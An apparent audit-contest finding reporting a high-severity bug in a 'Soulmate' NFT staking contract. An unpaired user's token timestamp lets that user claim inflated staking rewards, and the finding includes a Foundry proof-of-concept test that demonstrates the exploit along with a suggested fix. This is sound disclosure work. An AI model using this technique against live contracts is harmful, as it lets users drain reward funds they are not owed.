Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect creation timestamp lead to incorrect calculation of staking reward

Vulnerability Details

Whether a user is waiting for pair with a soulmate or assigned with a soulmate, the soulmate token is available for claiming airdrop or staking. However, the creation timestamp of the soulmate token is assigned a value during reuniting. The uninitialized timestamp of token will lead to incorrect reward calculation.

The snippet below is from Staking.sol. lastClaim[msg.sender] will get zero due to uninitialized timestamp and timeInWeeksSinceLastClaim will be block.timestamp minus zero.

if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
lastClaim[msg.sender]) / 1 weeks);

Impact

If a user cannot pair with a soulmate. He will get more reward in staking.

Tools Used

Manual.

Recommendations

Initialize timestamp in if block if (soulmate1 == address(0)) { ... } not else if (soulmate2 == address(0)).

function mintSoulmateToken() public returns (uint256) {
// Check if people already have a soulmate, which means already have a token
address soulmate = soulmateOf[msg.sender];
if (soulmate != address(0))
revert Soulmate__alreadyHaveASoulmate(soulmate);
address soulmate1 = idToOwners[nextID][0];
address soulmate2 = idToOwners[nextID][1];
if (soulmate1 == address(0)) {
idToOwners[nextID][0] = msg.sender;
ownerToId[msg.sender] = nextID;
idToCreationTimestamp[nextID] = block.timestamp;
emit SoulmateIsWaiting(msg.sender);
} else if (soulmate2 == address(0)) {
idToOwners[nextID][1] = msg.sender;
// Once 2 soulmates are reunited, the token is minted
ownerToId[msg.sender] = nextID;
soulmateOf[msg.sender] = soulmate1;
soulmateOf[soulmate1] = msg.sender;
emit SoulmateAreReunited(soulmate1, soulmate2, nextID);
_mint(msg.sender, nextID++);
}
return ownerToId[msg.sender];
}

PoC

Logs below.

Running 2 tests for test/timestamp.t.sol:Timestamp
[PASS] testTimestampGeneral() (gas: 408374)
Logs:
25920000
100000000000000000000
[PASS] testTimestampPoC() (gas: 197836)
Logs:
0
400000000000000000000
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import {Test, console2} from "forge-std/Test.sol";
import {BaseTest} from "./unit/BaseTest.t.sol";
contract Timestamp is BaseTest {
function testTimestampPoC() external {
// only mint token, but no mate with other
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.warp(300 days);
console2.log(soulmateContract.idToCreationTimestamp(0));
// claim token
uint256 amount = 100 ether;
_giveLoveTokenToSingle(amount);
// perform staking
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
stakingContract.withdraw(amount);
stakingContract.claimRewards();
vm.stopPrank();
console2.log(loveToken.balanceOf(soulmate1));
}
function testTimestampGeneral() external {
// only mint token and mate with other
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.warp(300 days);
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
console2.log(soulmateContract.idToCreationTimestamp(0));
// claim token
uint256 amount = 100 ether;
_giveLoveTokenToBoth(amount);
// perform staking
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), amount);
stakingContract.deposit(amount);
stakingContract.withdraw(amount);
stakingContract.claimRewards();
vm.stopPrank();
console2.log(loveToken.balanceOf(soulmate1));
}
function _giveLoveTokenToSingle(uint256 amount) internal {
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
}
function _giveLoveTokenToBoth(uint256 amount) internal {
uint256 numberDays = amount / 1e18;
vm.warp(block.timestamp + (numberDays * 1 days));
vm.prank(soulmate1);
airdropContract.claim();
vm.prank(soulmate2);
airdropContract.claim();
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.